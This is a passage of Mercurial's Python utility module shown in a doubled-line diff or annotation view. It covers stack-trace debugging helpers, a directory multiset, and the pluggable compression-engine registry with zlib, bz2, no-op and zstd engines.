3051 '''Yields lines for a nicely formatted stacktrace.
3063 '''Yields lines for a nicely formatted stacktrace.
3052 Skips the 'skip' last entries, then return the last 'depth' entries.
3064 Skips the 'skip' last entries, then return the last 'depth' entries.
3053 Each file+linenumber is formatted according to fileline.
3065 Each file+linenumber is formatted according to fileline.
3054 Each line is formatted according to line.
3066 Each line is formatted according to line.
3055 If line is None, it yields:
3067 If line is None, it yields:
3056 length of longest filepath+line number,
3068 length of longest filepath+line number,
3057 filepath+linenumber,
3069 filepath+linenumber,
3058 function
3070 function
3059
3071
3060 Not be used in production code but very convenient while developing.
3072 Not be used in production code but very convenient while developing.
3061 '''
3073 '''
3062 entries = [(fileline % (fn, ln), func)
3074 entries = [(fileline % (fn, ln), func)
3063 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3075 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3064 ][-depth:]
3076 ][-depth:]
3065 if entries:
3077 if entries:
3066 fnmax = max(len(entry[0]) for entry in entries)
3078 fnmax = max(len(entry[0]) for entry in entries)
3067 for fnln, func in entries:
3079 for fnln, func in entries:
3068 if line is None:
3080 if line is None:
3069 yield (fnmax, fnln, func)
3081 yield (fnmax, fnln, func)
3070 else:
3082 else:
3071 yield line % (fnmax, fnln, func)
3083 yield line % (fnmax, fnln, func)
3072
3084
3073 def debugstacktrace(msg='stacktrace', skip=0,
3085 def debugstacktrace(msg='stacktrace', skip=0,
3074 f=stderr, otherf=stdout, depth=0):
3086 f=stderr, otherf=stdout, depth=0):
3075 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3087 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3076 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3088 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3077 By default it will flush stdout first.
3089 By default it will flush stdout first.
3078 It can be used everywhere and intentionally does not require an ui object.
3090 It can be used everywhere and intentionally does not require an ui object.
3079 Not be used in production code but very convenient while developing.
3091 Not be used in production code but very convenient while developing.
3080 '''
3092 '''
3081 if otherf:
3093 if otherf:
3082 otherf.flush()
3094 otherf.flush()
3083 f.write('%s at:\n' % msg.rstrip())
3095 f.write('%s at:\n' % msg.rstrip())
3084 for line in getstackframes(skip + 1, depth=depth):
3096 for line in getstackframes(skip + 1, depth=depth):
3085 f.write(line)
3097 f.write(line)
3086 f.flush()
3098 f.flush()
3087
3099
3088 class dirs(object):
3100 class dirs(object):
3089 '''a multiset of directory names from a dirstate or manifest'''
3101 '''a multiset of directory names from a dirstate or manifest'''
3090
3102
3091 def __init__(self, map, skip=None):
3103 def __init__(self, map, skip=None):
3092 self._dirs = {}
3104 self._dirs = {}
3093 addpath = self.addpath
3105 addpath = self.addpath
3094 if safehasattr(map, 'iteritems') and skip is not None:
3106 if safehasattr(map, 'iteritems') and skip is not None:
3095 for f, s in map.iteritems():
3107 for f, s in map.iteritems():
3096 if s[0] != skip:
3108 if s[0] != skip:
3097 addpath(f)
3109 addpath(f)
3098 else:
3110 else:
3099 for f in map:
3111 for f in map:
3100 addpath(f)
3112 addpath(f)
3101
3113
3102 def addpath(self, path):
3114 def addpath(self, path):
3103 dirs = self._dirs
3115 dirs = self._dirs
3104 for base in finddirs(path):
3116 for base in finddirs(path):
3105 if base in dirs:
3117 if base in dirs:
3106 dirs[base] += 1
3118 dirs[base] += 1
3107 return
3119 return
3108 dirs[base] = 1
3120 dirs[base] = 1
3109
3121
3110 def delpath(self, path):
3122 def delpath(self, path):
3111 dirs = self._dirs
3123 dirs = self._dirs
3112 for base in finddirs(path):
3124 for base in finddirs(path):
3113 if dirs[base] > 1:
3125 if dirs[base] > 1:
3114 dirs[base] -= 1
3126 dirs[base] -= 1
3115 return
3127 return
3116 del dirs[base]
3128 del dirs[base]
3117
3129
3118 def __iter__(self):
3130 def __iter__(self):
3119 return iter(self._dirs)
3131 return iter(self._dirs)
3120
3132
3121 def __contains__(self, d):
3133 def __contains__(self, d):
3122 return d in self._dirs
3134 return d in self._dirs
3123
3135
3124 if safehasattr(parsers, 'dirs'):
3136 if safehasattr(parsers, 'dirs'):
3125 dirs = parsers.dirs
3137 dirs = parsers.dirs
3126
3138
3127 def finddirs(path):
3139 def finddirs(path):
3128 pos = path.rfind('/')
3140 pos = path.rfind('/')
3129 while pos != -1:
3141 while pos != -1:
3130 yield path[:pos]
3142 yield path[:pos]
3131 pos = path.rfind('/', 0, pos)
3143 pos = path.rfind('/', 0, pos)
3132
3144
3133 # compression code
3145 # compression code
3134
3146
3135 SERVERROLE = 'server'
3147 SERVERROLE = 'server'
3136 CLIENTROLE = 'client'
3148 CLIENTROLE = 'client'
3137
3149
3138 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3150 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3139 (u'name', u'serverpriority',
3151 (u'name', u'serverpriority',
3140 u'clientpriority'))
3152 u'clientpriority'))
3141
3153
3142 class compressormanager(object):
3154 class compressormanager(object):
3143 """Holds registrations of various compression engines.
3155 """Holds registrations of various compression engines.
3144
3156
3145 This class essentially abstracts the differences between compression
3157 This class essentially abstracts the differences between compression
3146 engines to allow new compression formats to be added easily, possibly from
3158 engines to allow new compression formats to be added easily, possibly from
3147 extensions.
3159 extensions.
3148
3160
3149 Compressors are registered against the global instance by calling its
3161 Compressors are registered against the global instance by calling its
3150 ``register()`` method.
3162 ``register()`` method.
3151 """
3163 """
3152 def __init__(self):
3164 def __init__(self):
3153 self._engines = {}
3165 self._engines = {}
3154 # Bundle spec human name to engine name.
3166 # Bundle spec human name to engine name.
3155 self._bundlenames = {}
3167 self._bundlenames = {}
3156 # Internal bundle identifier to engine name.
3168 # Internal bundle identifier to engine name.
3157 self._bundletypes = {}
3169 self._bundletypes = {}
3158 # Revlog header to engine name.
3170 # Revlog header to engine name.
3159 self._revlogheaders = {}
3171 self._revlogheaders = {}
3160 # Wire proto identifier to engine name.
3172 # Wire proto identifier to engine name.
3161 self._wiretypes = {}
3173 self._wiretypes = {}
3162
3174
3163 def __getitem__(self, key):
3175 def __getitem__(self, key):
3164 return self._engines[key]
3176 return self._engines[key]
3165
3177
3166 def __contains__(self, key):
3178 def __contains__(self, key):
3167 return key in self._engines
3179 return key in self._engines
3168
3180
3169 def __iter__(self):
3181 def __iter__(self):
3170 return iter(self._engines.keys())
3182 return iter(self._engines.keys())
3171
3183
3172 def register(self, engine):
3184 def register(self, engine):
3173 """Register a compression engine with the manager.
3185 """Register a compression engine with the manager.
3174
3186
3175 The argument must be a ``compressionengine`` instance.
3187 The argument must be a ``compressionengine`` instance.
3176 """
3188 """
3177 if not isinstance(engine, compressionengine):
3189 if not isinstance(engine, compressionengine):
3178 raise ValueError(_('argument must be a compressionengine'))
3190 raise ValueError(_('argument must be a compressionengine'))
3179
3191
3180 name = engine.name()
3192 name = engine.name()
3181
3193
3182 if name in self._engines:
3194 if name in self._engines:
3183 raise error.Abort(_('compression engine %s already registered') %
3195 raise error.Abort(_('compression engine %s already registered') %
3184 name)
3196 name)
3185
3197
3186 bundleinfo = engine.bundletype()
3198 bundleinfo = engine.bundletype()
3187 if bundleinfo:
3199 if bundleinfo:
3188 bundlename, bundletype = bundleinfo
3200 bundlename, bundletype = bundleinfo
3189
3201
3190 if bundlename in self._bundlenames:
3202 if bundlename in self._bundlenames:
3191 raise error.Abort(_('bundle name %s already registered') %
3203 raise error.Abort(_('bundle name %s already registered') %
3192 bundlename)
3204 bundlename)
3193 if bundletype in self._bundletypes:
3205 if bundletype in self._bundletypes:
3194 raise error.Abort(_('bundle type %s already registered by %s') %
3206 raise error.Abort(_('bundle type %s already registered by %s') %
3195 (bundletype, self._bundletypes[bundletype]))
3207 (bundletype, self._bundletypes[bundletype]))
3196
3208
3197 # No external facing name declared.
3209 # No external facing name declared.
3198 if bundlename:
3210 if bundlename:
3199 self._bundlenames[bundlename] = name
3211 self._bundlenames[bundlename] = name
3200
3212
3201 self._bundletypes[bundletype] = name
3213 self._bundletypes[bundletype] = name
3202
3214
3203 wiresupport = engine.wireprotosupport()
3215 wiresupport = engine.wireprotosupport()
3204 if wiresupport:
3216 if wiresupport:
3205 wiretype = wiresupport.name
3217 wiretype = wiresupport.name
3206 if wiretype in self._wiretypes:
3218 if wiretype in self._wiretypes:
3207 raise error.Abort(_('wire protocol compression %s already '
3219 raise error.Abort(_('wire protocol compression %s already '
3208 'registered by %s') %
3220 'registered by %s') %
3209 (wiretype, self._wiretypes[wiretype]))
3221 (wiretype, self._wiretypes[wiretype]))
3210
3222
3211 self._wiretypes[wiretype] = name
3223 self._wiretypes[wiretype] = name
3212
3224
3213 revlogheader = engine.revlogheader()
3225 revlogheader = engine.revlogheader()
3214 if revlogheader and revlogheader in self._revlogheaders:
3226 if revlogheader and revlogheader in self._revlogheaders:
3215 raise error.Abort(_('revlog header %s already registered by %s') %
3227 raise error.Abort(_('revlog header %s already registered by %s') %
3216 (revlogheader, self._revlogheaders[revlogheader]))
3228 (revlogheader, self._revlogheaders[revlogheader]))
3217
3229
3218 if revlogheader:
3230 if revlogheader:
3219 self._revlogheaders[revlogheader] = name
3231 self._revlogheaders[revlogheader] = name
3220
3232
3221 self._engines[name] = engine
3233 self._engines[name] = engine
3222
3234
3223 @property
3235 @property
3224 def supportedbundlenames(self):
3236 def supportedbundlenames(self):
3225 return set(self._bundlenames.keys())
3237 return set(self._bundlenames.keys())
3226
3238
3227 @property
3239 @property
3228 def supportedbundletypes(self):
3240 def supportedbundletypes(self):
3229 return set(self._bundletypes.keys())
3241 return set(self._bundletypes.keys())
3230
3242
3231 def forbundlename(self, bundlename):
3243 def forbundlename(self, bundlename):
3232 """Obtain a compression engine registered to a bundle name.
3244 """Obtain a compression engine registered to a bundle name.
3233
3245
3234 Will raise KeyError if the bundle type isn't registered.
3246 Will raise KeyError if the bundle type isn't registered.
3235
3247
3236 Will abort if the engine is known but not available.
3248 Will abort if the engine is known but not available.
3237 """
3249 """
3238 engine = self._engines[self._bundlenames[bundlename]]
3250 engine = self._engines[self._bundlenames[bundlename]]
3239 if not engine.available():
3251 if not engine.available():
3240 raise error.Abort(_('compression engine %s could not be loaded') %
3252 raise error.Abort(_('compression engine %s could not be loaded') %
3241 engine.name())
3253 engine.name())
3242 return engine
3254 return engine
3243
3255
3244 def forbundletype(self, bundletype):
3256 def forbundletype(self, bundletype):
3245 """Obtain a compression engine registered to a bundle type.
3257 """Obtain a compression engine registered to a bundle type.
3246
3258
3247 Will raise KeyError if the bundle type isn't registered.
3259 Will raise KeyError if the bundle type isn't registered.
3248
3260
3249 Will abort if the engine is known but not available.
3261 Will abort if the engine is known but not available.
3250 """
3262 """
3251 engine = self._engines[self._bundletypes[bundletype]]
3263 engine = self._engines[self._bundletypes[bundletype]]
3252 if not engine.available():
3264 if not engine.available():
3253 raise error.Abort(_('compression engine %s could not be loaded') %
3265 raise error.Abort(_('compression engine %s could not be loaded') %
3254 engine.name())
3266 engine.name())
3255 return engine
3267 return engine
3256
3268
3257 def supportedwireengines(self, role, onlyavailable=True):
3269 def supportedwireengines(self, role, onlyavailable=True):
3258 """Obtain compression engines that support the wire protocol.
3270 """Obtain compression engines that support the wire protocol.
3259
3271
3260 Returns a list of engines in prioritized order, most desired first.
3272 Returns a list of engines in prioritized order, most desired first.
3261
3273
3262 If ``onlyavailable`` is set, filter out engines that can't be
3274 If ``onlyavailable`` is set, filter out engines that can't be
3263 loaded.
3275 loaded.
3264 """
3276 """
3265 assert role in (SERVERROLE, CLIENTROLE)
3277 assert role in (SERVERROLE, CLIENTROLE)
3266
3278
3267 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3279 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3268
3280
3269 engines = [self._engines[e] for e in self._wiretypes.values()]
3281 engines = [self._engines[e] for e in self._wiretypes.values()]
3270 if onlyavailable:
3282 if onlyavailable:
3271 engines = [e for e in engines if e.available()]
3283 engines = [e for e in engines if e.available()]
3272
3284
3273 def getkey(e):
3285 def getkey(e):
3274 # Sort first by priority, highest first. In case of tie, sort
3286 # Sort first by priority, highest first. In case of tie, sort
3275 # alphabetically. This is arbitrary, but ensures output is
3287 # alphabetically. This is arbitrary, but ensures output is
3276 # stable.
3288 # stable.
3277 w = e.wireprotosupport()
3289 w = e.wireprotosupport()
3278 return -1 * getattr(w, attr), w.name
3290 return -1 * getattr(w, attr), w.name
3279
3291
3280 return list(sorted(engines, key=getkey))
3292 return list(sorted(engines, key=getkey))
3281
3293
3282 def forwiretype(self, wiretype):
3294 def forwiretype(self, wiretype):
3283 engine = self._engines[self._wiretypes[wiretype]]
3295 engine = self._engines[self._wiretypes[wiretype]]
3284 if not engine.available():
3296 if not engine.available():
3285 raise error.Abort(_('compression engine %s could not be loaded') %
3297 raise error.Abort(_('compression engine %s could not be loaded') %
3286 engine.name())
3298 engine.name())
3287 return engine
3299 return engine
3288
3300
3289 def forrevlogheader(self, header):
3301 def forrevlogheader(self, header):
3290 """Obtain a compression engine registered to a revlog header.
3302 """Obtain a compression engine registered to a revlog header.
3291
3303
3292 Will raise KeyError if the revlog header value isn't registered.
3304 Will raise KeyError if the revlog header value isn't registered.
3293 """
3305 """
3294 return self._engines[self._revlogheaders[header]]
3306 return self._engines[self._revlogheaders[header]]
3295
3307
3296 compengines = compressormanager()
3308 compengines = compressormanager()
3297
3309
3298 class compressionengine(object):
3310 class compressionengine(object):
3299 """Base class for compression engines.
3311 """Base class for compression engines.
3300
3312
3301 Compression engines must implement the interface defined by this class.
3313 Compression engines must implement the interface defined by this class.
3302 """
3314 """
3303 def name(self):
3315 def name(self):
3304 """Returns the name of the compression engine.
3316 """Returns the name of the compression engine.
3305
3317
3306 This is the key the engine is registered under.
3318 This is the key the engine is registered under.
3307
3319
3308 This method must be implemented.
3320 This method must be implemented.
3309 """
3321 """
3310 raise NotImplementedError()
3322 raise NotImplementedError()
3311
3323
3312 def available(self):
3324 def available(self):
3313 """Whether the compression engine is available.
3325 """Whether the compression engine is available.
3314
3326
3315 The intent of this method is to allow optional compression engines
3327 The intent of this method is to allow optional compression engines
3316 that may not be available in all installations (such as engines relying
3328 that may not be available in all installations (such as engines relying
3317 on C extensions that may not be present).
3329 on C extensions that may not be present).
3318 """
3330 """
3319 return True
3331 return True
3320
3332
3321 def bundletype(self):
3333 def bundletype(self):
3322 """Describes bundle identifiers for this engine.
3334 """Describes bundle identifiers for this engine.
3323
3335
3324 If this compression engine isn't supported for bundles, returns None.
3336 If this compression engine isn't supported for bundles, returns None.
3325
3337
3326 If this engine can be used for bundles, returns a 2-tuple of strings of
3338 If this engine can be used for bundles, returns a 2-tuple of strings of
3327 the user-facing "bundle spec" compression name and an internal
3339 the user-facing "bundle spec" compression name and an internal
3328 identifier used to denote the compression format within bundles. To
3340 identifier used to denote the compression format within bundles. To
3329 exclude the name from external usage, set the first element to ``None``.
3341 exclude the name from external usage, set the first element to ``None``.
3330
3342
3331 If bundle compression is supported, the class must also implement
3343 If bundle compression is supported, the class must also implement
3332 ``compressstream`` and `decompressorreader``.
3344 ``compressstream`` and `decompressorreader``.
3333
3345
3334 The docstring of this method is used in the help system to tell users
3346 The docstring of this method is used in the help system to tell users
3335 about this engine.
3347 about this engine.
3336 """
3348 """
3337 return None
3349 return None
3338
3350
3339 def wireprotosupport(self):
3351 def wireprotosupport(self):
3340 """Declare support for this compression format on the wire protocol.
3352 """Declare support for this compression format on the wire protocol.
3341
3353
3342 If this compression engine isn't supported for compressing wire
3354 If this compression engine isn't supported for compressing wire
3343 protocol payloads, returns None.
3355 protocol payloads, returns None.
3344
3356
3345 Otherwise, returns ``compenginewireprotosupport`` with the following
3357 Otherwise, returns ``compenginewireprotosupport`` with the following
3346 fields:
3358 fields:
3347
3359
3348 * String format identifier
3360 * String format identifier
3349 * Integer priority for the server
3361 * Integer priority for the server
3350 * Integer priority for the client
3362 * Integer priority for the client
3351
3363
3352 The integer priorities are used to order the advertisement of format
3364 The integer priorities are used to order the advertisement of format
3353 support by server and client. The highest integer is advertised
3365 support by server and client. The highest integer is advertised
3354 first. Integers with non-positive values aren't advertised.
3366 first. Integers with non-positive values aren't advertised.
3355
3367
3356 The priority values are somewhat arbitrary and only used for default
3368 The priority values are somewhat arbitrary and only used for default
3357 ordering. The relative order can be changed via config options.
3369 ordering. The relative order can be changed via config options.
3358
3370
3359 If wire protocol compression is supported, the class must also implement
3371 If wire protocol compression is supported, the class must also implement
3360 ``compressstream`` and ``decompressorreader``.
3372 ``compressstream`` and ``decompressorreader``.
3361 """
3373 """
3362 return None
3374 return None
3363
3375
3364 def revlogheader(self):
3376 def revlogheader(self):
3365 """Header added to revlog chunks that identifies this engine.
3377 """Header added to revlog chunks that identifies this engine.
3366
3378
3367 If this engine can be used to compress revlogs, this method should
3379 If this engine can be used to compress revlogs, this method should
3368 return the bytes used to identify chunks compressed with this engine.
3380 return the bytes used to identify chunks compressed with this engine.
3369 Else, the method should return ``None`` to indicate it does not
3381 Else, the method should return ``None`` to indicate it does not
3370 participate in revlog compression.
3382 participate in revlog compression.
3371 """
3383 """
3372 return None
3384 return None
3373
3385
3374 def compressstream(self, it, opts=None):
3386 def compressstream(self, it, opts=None):
3375 """Compress an iterator of chunks.
3387 """Compress an iterator of chunks.
3376
3388
3377 The method receives an iterator (ideally a generator) of chunks of
3389 The method receives an iterator (ideally a generator) of chunks of
3378 bytes to be compressed. It returns an iterator (ideally a generator)
3390 bytes to be compressed. It returns an iterator (ideally a generator)
3379 of bytes of chunks representing the compressed output.
3391 of bytes of chunks representing the compressed output.
3380
3392
3381 Optionally accepts an argument defining how to perform compression.
3393 Optionally accepts an argument defining how to perform compression.
3382 Each engine treats this argument differently.
3394 Each engine treats this argument differently.
3383 """
3395 """
3384 raise NotImplementedError()
3396 raise NotImplementedError()
3385
3397
3386 def decompressorreader(self, fh):
3398 def decompressorreader(self, fh):
3387 """Perform decompression on a file object.
3399 """Perform decompression on a file object.
3388
3400
3389 Argument is an object with a ``read(size)`` method that returns
3401 Argument is an object with a ``read(size)`` method that returns
3390 compressed data. Return value is an object with a ``read(size)`` that
3402 compressed data. Return value is an object with a ``read(size)`` that
3391 returns uncompressed data.
3403 returns uncompressed data.
3392 """
3404 """
3393 raise NotImplementedError()
3405 raise NotImplementedError()
3394
3406
3395 def revlogcompressor(self, opts=None):
3407 def revlogcompressor(self, opts=None):
3396 """Obtain an object that can be used to compress revlog entries.
3408 """Obtain an object that can be used to compress revlog entries.
3397
3409
3398 The object has a ``compress(data)`` method that compresses binary
3410 The object has a ``compress(data)`` method that compresses binary
3399 data. This method returns compressed binary data or ``None`` if
3411 data. This method returns compressed binary data or ``None`` if
3400 the data could not be compressed (too small, not compressible, etc).
3412 the data could not be compressed (too small, not compressible, etc).
3401 The returned data should have a header uniquely identifying this
3413 The returned data should have a header uniquely identifying this
3402 compression format so decompression can be routed to this engine.
3414 compression format so decompression can be routed to this engine.
3403 This header should be identified by the ``revlogheader()`` return
3415 This header should be identified by the ``revlogheader()`` return
3404 value.
3416 value.
3405
3417
3406 The object has a ``decompress(data)`` method that decompresses
3418 The object has a ``decompress(data)`` method that decompresses
3407 data. The method will only be called if ``data`` begins with
3419 data. The method will only be called if ``data`` begins with
3408 ``revlogheader()``. The method should return the raw, uncompressed
3420 ``revlogheader()``. The method should return the raw, uncompressed
3409 data or raise a ``RevlogError``.
3421 data or raise a ``RevlogError``.
3410
3422
3411 The object is reusable but is not thread safe.
3423 The object is reusable but is not thread safe.
3412 """
3424 """
3413 raise NotImplementedError()
3425 raise NotImplementedError()
3414
3426
3415 class _zlibengine(compressionengine):
3427 class _zlibengine(compressionengine):
3416 def name(self):
3428 def name(self):
3417 return 'zlib'
3429 return 'zlib'
3418
3430
3419 def bundletype(self):
3431 def bundletype(self):
3420 """zlib compression using the DEFLATE algorithm.
3432 """zlib compression using the DEFLATE algorithm.
3421
3433
3422 All Mercurial clients should support this format. The compression
3434 All Mercurial clients should support this format. The compression
3423 algorithm strikes a reasonable balance between compression ratio
3435 algorithm strikes a reasonable balance between compression ratio
3424 and size.
3436 and size.
3425 """
3437 """
3426 return 'gzip', 'GZ'
3438 return 'gzip', 'GZ'
3427
3439
3428 def wireprotosupport(self):
3440 def wireprotosupport(self):
3429 return compewireprotosupport('zlib', 20, 20)
3441 return compewireprotosupport('zlib', 20, 20)
3430
3442
3431 def revlogheader(self):
3443 def revlogheader(self):
3432 return 'x'
3444 return 'x'
3433
3445
3434 def compressstream(self, it, opts=None):
3446 def compressstream(self, it, opts=None):
3435 opts = opts or {}
3447 opts = opts or {}
3436
3448
3437 z = zlib.compressobj(opts.get('level', -1))
3449 z = zlib.compressobj(opts.get('level', -1))
3438 for chunk in it:
3450 for chunk in it:
3439 data = z.compress(chunk)
3451 data = z.compress(chunk)
3440 # Not all calls to compress emit data. It is cheaper to inspect
3452 # Not all calls to compress emit data. It is cheaper to inspect
3441 # here than to feed empty chunks through generator.
3453 # here than to feed empty chunks through generator.
3442 if data:
3454 if data:
3443 yield data
3455 yield data
3444
3456
3445 yield z.flush()
3457 yield z.flush()
3446
3458
3447 def decompressorreader(self, fh):
3459 def decompressorreader(self, fh):
3448 def gen():
3460 def gen():
3449 d = zlib.decompressobj()
3461 d = zlib.decompressobj()
3450 for chunk in filechunkiter(fh):
3462 for chunk in filechunkiter(fh):
3451 while chunk:
3463 while chunk:
3452 # Limit output size to limit memory.
3464 # Limit output size to limit memory.
3453 yield d.decompress(chunk, 2 ** 18)
3465 yield d.decompress(chunk, 2 ** 18)
3454 chunk = d.unconsumed_tail
3466 chunk = d.unconsumed_tail
3455
3467
3456 return chunkbuffer(gen())
3468 return chunkbuffer(gen())
3457
3469
3458 class zlibrevlogcompressor(object):
3470 class zlibrevlogcompressor(object):
3459 def compress(self, data):
3471 def compress(self, data):
3460 insize = len(data)
3472 insize = len(data)
3461 # Caller handles empty input case.
3473 # Caller handles empty input case.
3462 assert insize > 0
3474 assert insize > 0
3463
3475
3464 if insize < 44:
3476 if insize < 44:
3465 return None
3477 return None
3466
3478
3467 elif insize <= 1000000:
3479 elif insize <= 1000000:
3468 compressed = zlib.compress(data)
3480 compressed = zlib.compress(data)
3469 if len(compressed) < insize:
3481 if len(compressed) < insize:
3470 return compressed
3482 return compressed
3471 return None
3483 return None
3472
3484
3473 # zlib makes an internal copy of the input buffer, doubling
3485 # zlib makes an internal copy of the input buffer, doubling
3474 # memory usage for large inputs. So do streaming compression
3486 # memory usage for large inputs. So do streaming compression
3475 # on large inputs.
3487 # on large inputs.
3476 else:
3488 else:
3477 z = zlib.compressobj()
3489 z = zlib.compressobj()
3478 parts = []
3490 parts = []
3479 pos = 0
3491 pos = 0
3480 while pos < insize:
3492 while pos < insize:
3481 pos2 = pos + 2**20
3493 pos2 = pos + 2**20
3482 parts.append(z.compress(data[pos:pos2]))
3494 parts.append(z.compress(data[pos:pos2]))
3483 pos = pos2
3495 pos = pos2
3484 parts.append(z.flush())
3496 parts.append(z.flush())
3485
3497
3486 if sum(map(len, parts)) < insize:
3498 if sum(map(len, parts)) < insize:
3487 return ''.join(parts)
3499 return ''.join(parts)
3488 return None
3500 return None
3489
3501
3490 def decompress(self, data):
3502 def decompress(self, data):
3491 try:
3503 try:
3492 return zlib.decompress(data)
3504 return zlib.decompress(data)
3493 except zlib.error as e:
3505 except zlib.error as e:
3494 raise error.RevlogError(_('revlog decompress error: %s') %
3506 raise error.RevlogError(_('revlog decompress error: %s') %
3495 str(e))
3507 str(e))
3496
3508
3497 def revlogcompressor(self, opts=None):
3509 def revlogcompressor(self, opts=None):
3498 return self.zlibrevlogcompressor()
3510 return self.zlibrevlogcompressor()
3499
3511
3500 compengines.register(_zlibengine())
3512 compengines.register(_zlibengine())
3501
3513
3502 class _bz2engine(compressionengine):
3514 class _bz2engine(compressionengine):
3503 def name(self):
3515 def name(self):
3504 return 'bz2'
3516 return 'bz2'
3505
3517
3506 def bundletype(self):
3518 def bundletype(self):
3507 """An algorithm that produces smaller bundles than ``gzip``.
3519 """An algorithm that produces smaller bundles than ``gzip``.
3508
3520
3509 All Mercurial clients should support this format.
3521 All Mercurial clients should support this format.
3510
3522
3511 This engine will likely produce smaller bundles than ``gzip`` but
3523 This engine will likely produce smaller bundles than ``gzip`` but
3512 will be significantly slower, both during compression and
3524 will be significantly slower, both during compression and
3513 decompression.
3525 decompression.
3514
3526
3515 If available, the ``zstd`` engine can yield similar or better
3527 If available, the ``zstd`` engine can yield similar or better
3516 compression at much higher speeds.
3528 compression at much higher speeds.
3517 """
3529 """
3518 return 'bzip2', 'BZ'
3530 return 'bzip2', 'BZ'
3519
3531
3520 # We declare a protocol name but don't advertise by default because
3532 # We declare a protocol name but don't advertise by default because
3521 # it is slow.
3533 # it is slow.
3522 def wireprotosupport(self):
3534 def wireprotosupport(self):
3523 return compewireprotosupport('bzip2', 0, 0)
3535 return compewireprotosupport('bzip2', 0, 0)
3524
3536
3525 def compressstream(self, it, opts=None):
3537 def compressstream(self, it, opts=None):
3526 opts = opts or {}
3538 opts = opts or {}
3527 z = bz2.BZ2Compressor(opts.get('level', 9))
3539 z = bz2.BZ2Compressor(opts.get('level', 9))
3528 for chunk in it:
3540 for chunk in it:
3529 data = z.compress(chunk)
3541 data = z.compress(chunk)
3530 if data:
3542 if data:
3531 yield data
3543 yield data
3532
3544
3533 yield z.flush()
3545 yield z.flush()
3534
3546
3535 def decompressorreader(self, fh):
3547 def decompressorreader(self, fh):
3536 def gen():
3548 def gen():
3537 d = bz2.BZ2Decompressor()
3549 d = bz2.BZ2Decompressor()
3538 for chunk in filechunkiter(fh):
3550 for chunk in filechunkiter(fh):
3539 yield d.decompress(chunk)
3551 yield d.decompress(chunk)
3540
3552
3541 return chunkbuffer(gen())
3553 return chunkbuffer(gen())
3542
3554
3543 compengines.register(_bz2engine())
3555 compengines.register(_bz2engine())
3544
3556
3545 class _truncatedbz2engine(compressionengine):
3557 class _truncatedbz2engine(compressionengine):
3546 def name(self):
3558 def name(self):
3547 return 'bz2truncated'
3559 return 'bz2truncated'
3548
3560
3549 def bundletype(self):
3561 def bundletype(self):
3550 return None, '_truncatedBZ'
3562 return None, '_truncatedBZ'
3551
3563
3552 # We don't implement compressstream because it is hackily handled elsewhere.
3564 # We don't implement compressstream because it is hackily handled elsewhere.
3553
3565
3554 def decompressorreader(self, fh):
3566 def decompressorreader(self, fh):
3555 def gen():
3567 def gen():
3556 # The input stream doesn't have the 'BZ' header. So add it back.
3568 # The input stream doesn't have the 'BZ' header. So add it back.
3557 d = bz2.BZ2Decompressor()
3569 d = bz2.BZ2Decompressor()
3558 d.decompress('BZ')
3570 d.decompress('BZ')
3559 for chunk in filechunkiter(fh):
3571 for chunk in filechunkiter(fh):
3560 yield d.decompress(chunk)
3572 yield d.decompress(chunk)
3561
3573
3562 return chunkbuffer(gen())
3574 return chunkbuffer(gen())
3563
3575
3564 compengines.register(_truncatedbz2engine())
3576 compengines.register(_truncatedbz2engine())
3565
3577
3566 class _noopengine(compressionengine):
3578 class _noopengine(compressionengine):
3567 def name(self):
3579 def name(self):
3568 return 'none'
3580 return 'none'
3569
3581
3570 def bundletype(self):
3582 def bundletype(self):
3571 """No compression is performed.
3583 """No compression is performed.
3572
3584
3573 Use this compression engine to explicitly disable compression.
3585 Use this compression engine to explicitly disable compression.
3574 """
3586 """
3575 return 'none', 'UN'
3587 return 'none', 'UN'
3576
3588
3577 # Clients always support uncompressed payloads. Servers don't because
3589 # Clients always support uncompressed payloads. Servers don't because
3578 # unless you are on a fast network, uncompressed payloads can easily
3590 # unless you are on a fast network, uncompressed payloads can easily
3579 # saturate your network pipe.
3591 # saturate your network pipe.
3580 def wireprotosupport(self):
3592 def wireprotosupport(self):
3581 return compewireprotosupport('none', 0, 10)
3593 return compewireprotosupport('none', 0, 10)
3582
3594
3583 # We don't implement revlogheader because it is handled specially
3595 # We don't implement revlogheader because it is handled specially
3584 # in the revlog class.
3596 # in the revlog class.
3585
3597
3586 def compressstream(self, it, opts=None):
3598 def compressstream(self, it, opts=None):
3587 return it
3599 return it
3588
3600
3589 def decompressorreader(self, fh):
3601 def decompressorreader(self, fh):
3590 return fh
3602 return fh
3591
3603
3592 class nooprevlogcompressor(object):
3604 class nooprevlogcompressor(object):
3593 def compress(self, data):
3605 def compress(self, data):
3594 return None
3606 return None
3595
3607
3596 def revlogcompressor(self, opts=None):
3608 def revlogcompressor(self, opts=None):
3597 return self.nooprevlogcompressor()
3609 return self.nooprevlogcompressor()
3598
3610
3599 compengines.register(_noopengine())
3611 compengines.register(_noopengine())
3600
3612
3601 class _zstdengine(compressionengine):
3613 class _zstdengine(compressionengine):
3602 def name(self):
3614 def name(self):
3603 return 'zstd'
3615 return 'zstd'
3604
3616
3605 @propertycache
3617 @propertycache
3606 def _module(self):
3618 def _module(self):
3607 # Not all installs have the zstd module available. So defer importing
3619 # Not all installs have the zstd module available. So defer importing
3608 # until first access.
3620 # until first access.
3609 try:
3621 try:
3610 from . import zstd
3622 from . import zstd
3611 # Force delayed import.
3623 # Force delayed import.
3612 zstd.__version__
3624 zstd.__version__
3613 return zstd
3625 return zstd
3614 except ImportError:
3626 except ImportError:
3615 return None
3627 return None
3616
3628
3617 def available(self):
3629 def available(self):
3618 return bool(self._module)
3630 return bool(self._module)
3619
3631
3620 def bundletype(self):
3632 def bundletype(self):
3621 """A modern compression algorithm that is fast and highly flexible.
3633 """A modern compression algorithm that is fast and highly flexible.
3622
3634
3623 Only supported by Mercurial 4.1 and newer clients.
3635 Only supported by Mercurial 4.1 and newer clients.
3624
3636
3625 With the default settings, zstd compression is both faster and yields
3637 With the default settings, zstd compression is both faster and yields
3626 better compression than ``gzip``. It also frequently yields better
